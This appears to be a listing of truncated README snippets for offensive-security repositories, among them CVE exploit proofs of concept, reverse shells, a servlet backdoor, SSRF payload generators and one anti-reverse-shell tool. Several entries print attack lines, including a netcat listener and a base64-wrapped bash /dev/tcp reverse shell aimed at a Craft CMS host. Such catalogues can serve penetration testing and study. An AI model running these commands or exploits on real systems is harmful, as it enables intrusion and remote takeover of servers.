CVE-2020-14882_Exploit_Gui

CVE-2020-14882ExploitGui La herramienta solo debe usarse bajo autorización. En caso de incidentes penales, los ataques no autorizados no tienen relación conmigo. Espero que todos conozcan bien la "Ley de Seguridad Cibernética". Durante un punto de control me encontré con el 14882 y no encontré un...

CVE-2023-22527-confluence

CVE-2023-22527-confluence Confluence CVE-2023-22527 realworld poc Usage Download bun https://github.com/oven-sh/bun/releases Start ngrok ngrok tcp 4444 Listen localhost 4444 nc -nvlp 4444 Run exploit bun exploit-CVE-2023-22527.js --lhost 0.tcp.ap.ngrok.io --lport 12169 --target https://xxx/ Resul...

CIMCown

CIMCown CVE-2026-20200 Argument Injection in Cisco IMC with RCE Christoph Peil @ NSIDE ATTACK LOGIC 2026 CVE: CVE-2026-20200 CVSS v3.1 CISCO: 8.8 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H CVSS v3.1 NSIDE: 9.9 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H Advisory: NSIDE-SA-2026-003 Blogpost:...

Java-Servlets-Shell

Java Servlets Shell Java Servlets Backdoor inspired by https://www.redteam-pentesting.de/files/redteam-jboss.tar.gz Note : The WARs contain compiled Java code instead of JSP pages in order to be used in environments that block or do not compile JSP files...

offsec-karaf-exploits

offsec-karaf-exploits Usage: python exploit.py --help Example: python exploit.py --rhost=192.168.0.133 --rport=1337 --lhost=192.168.0.100 --lport=4444 --creds=karaf:karaf Rebuild Payload Setup Felix Framework 1. Create the lib directory mkdir -p ./revshell/lib 2. Download Felix Framework 7.0.5 3...

craftcms-cve-2025-32432-rce

payload=$printf %s "bash -c 'bash -i & /dev/tcp/10.10.14.96/4444 0&1'" | base64 -w0; ./craftrce.py http://10.129.66.170 "echo $payload | base64 -d | bash" orion.htb...

Gopherus

Gopherus If you know a place which is SSRF vulnerable then, this tool will help you to generate Gopher payload for exploiting SSRF Server Side Request Forgery and gaining RCE Remote Code Execution. And also it will help you to get the Reverse shell on the victim server. And for more information y...

php-reverse-shell

php-reverse-shell...

wp-file-manager

wp-file-manager WP File Manager 6.9 - Arbitrary File Upload leading to RCE usage: wp-file-manager.py -h -u URL -f FILE optional arguments: -h, --help show this help message and exit -u URL, --url URL URL of host to check will need http or https -f FILE, --file FILE File of URLS to check + Testing...

Splunk-RCE-poc

Splunk RCE - PoC Proof of concept exploit for CVE-2023-46214, SVD-2023-1104 Usage The Splunk instance URL, username, password, reverse shell IP, and port are all required as command-line parameters. For example: $ python3 CVE-2023-46214.py --url --username --password --ip --port Prerequisites...

instant-appointment-arbitrary-file-upload

instant-appointment-arbitrary-file-upload instant-appointment - Arbitrary File upload Description The Instant Appointment plugin for WordPress is vulnerable to Arbitrary File upload in versions up to, and including, 1.2. This makes it possible for unauthenticated attackers to upload a shell and...

PPPoEject

PPPoEject CVE-2026-68121 Writeup !WARNING The PoC is provided solely to help defenders, maintainers, and authorized security teams validate patches, mitigations, detections, and exposure on systems they own or are explicitly authorized to test. You are solely responsible for ensuring that your us...

WBCE-v1.6.3-Authenticated-RCE

WBCE CMS printerror$MESSAGE'GENERICINVALIDADDONFILE'; Once the module passes this check as a "valid Add-On", any install.php scripts are automatically executed on the server. This exploit simply uses a php reverse shell as the php payload. YouTube Demonstration:...

sagemcom-fast-3890-exploit

Sagemcom Fast 3890 exploit This exploit uses the Cable Haunt vulnerability to pop a shell on the Sagemcom F@ST 3890 50.10.19 cable modem, from local network access. Firmware version 50.10.21 or newer should be secure against Cable Haunt. This Proof of concept has specifically been designed to onl...

CVE-2022-0847

CVE-2022-0847 Reproducción simple de CVE-2022-0847 Dirección del artículo original del divulgador: https://dirtypipe.cm4all.com/ Entorno de reproducción Linux kali 5.10.0-kali7-amd64 1 SMP Debian 5.10.28-1kali1 2021-04-12 x8664 GNU/Linux Dependencias gcc Pasos de uso git clone...

Http-Asynchronous-Reverse-Shell

HTTP/S Asynchronous Reverse Shell ✨ Introduction In an age where advanced detection systems such as IDS, IPS, EDR, AV, and firewalls dominate corporate networks, evading them during offensive security assessments is a challenge. Most reverse shells leverage TCP tunnels L4, which are now routinely...

CVE-2026-31431

Descripción: Cfail es mi implementación en C++ x86-64 Assembly de CVE-2026-31431 también conocido como Copyfail, sin ninguna dependencia, incluida libc. De hecho, se obtiene un ejecutable universal capaz de ejecutarse de forma independiente en cualquier distribución Linux x86-64, gracias a una...

HRShell

HRShell: An advanced HTTPS Reverse Shell built with Flask HRShell is an HTTPS/HTTP reverse shell built with flask and is compatible with python 3.x. The client.py has been successfully tested on: Linux ubuntu 18.04 LTS, Kali Linux 2019.3 macOS Mojave/Catalina Windows 7/10 while the server.py is...

watcher

Anti Reverse Shell Hola, mi nombre es themoon también conocido como shalev, creé este proyecto para ayudar a las personas que ejecutan servidores con seguridad baja. Puedes usar este proyecto para proteger tu computadora de atacantes que puedan intentar hacer un reverse shell en tu computadora...

BruteSploit

Brutesploit BruteSploit is a collection of method for automated Generate, Bruteforce and Manipulation wordlist with interactive shell. That can be used during a penetration test to enumerate and can be used in CTF for manipulation,combine,transform and permutation some words or file text :p i wro...